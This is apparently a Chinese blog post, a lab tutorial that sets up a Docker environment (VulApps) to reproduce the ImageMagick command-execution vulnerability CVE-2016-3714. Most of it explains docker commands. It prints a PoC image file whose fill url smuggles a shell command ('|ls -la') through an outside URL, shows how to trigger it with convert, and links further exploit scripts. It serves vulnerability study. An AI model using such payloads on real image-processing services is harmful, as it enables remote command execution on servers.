体验ImageMagick 命令执行漏洞(CVE-2016–3714)的PoC

Posted by Cai Qiqi on 2016-09-09

首先安装好docker

环境地址

GitHub地址:
https://github.com/Medicean/VulApps
镜像地址:
https://hub.docker.com/r/medicean/vulapps/
镜像的各种Tag:
https://hub.docker.com/r/medicean/vulapps/tags/
这里写图片描述

环境搭建

获取镜像

$ docker pull medicean/vulapps:i_imagemagick_1

其中,medicean/vulapps是镜像名,后面冒号接具体的Tag

运行镜像

$ docker run -d -p 8000:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1
  • run命令是create命令和start命令的结合。类似git的pull命令是fetchmerge命令的结合。
  • -d 表示daemon,作为后台守护进程运行。
  • -p 表示port8000:80前者为默认的本地(127.0.0.1)端口,后者为镜像的端口。
  • –name=i_imagemagick_1 ,显式指定容器(Container)的名字,虽然不显式指定,docker也会帮你指定一个名字(细心的可以发现docker指定的名字还蛮有意思的:) )。

然后

$ docker ps -a

显示所有的docker容器,以及它们的状态。
容器运行起来之后,使用

$ docker exec i_imagemagick_1 cat /poc.png

命令让指定的容器执行指定的命令

这里是指定了i_imagemagick_1这个容器(也可以用它的完整Id或者前4位数字代替),打印出根目录的poc.png文件的内容

$ cat /poc.png
push graphic-context
viewbox 0 0 640 480
fill 'url(https://evalbug.com/"|ls -la")'
pop graphic-context

这个/poc.png就是PoC!
当在容器shell里执行时

$ convert /poc.png 1.png

或通过物理机执行

$ docker exec i_imagemagick_1 convert /poc.png 1.png

漏洞触发。
搭建好环境之后访问127.0.0.1:8000。这里8000映射了镜像里的80端口,用于HTTP访问具体的说明信息,文件位于/var/www/html/index.php
这里写图片描述

漏洞利用

这里写图片描述

后门——poc.php

进入容器的交互式shell

$ docker run -t -i medicean/vulapps:i_imagemagick_1 "/bin/bash"

之后,查看poc.php
位于/var/www/html/poc.php
这里写图片描述

利用——poc.py

https://github.com/Medicean/VulApps/blob/master/i/imagemagick/1/poc.py

附录

Docker环境搭建:
https://docs.docker.com/engine/installation
Docker中文指南:
http://www.heblug.org/chinese_docker/userguide/dockerizing.html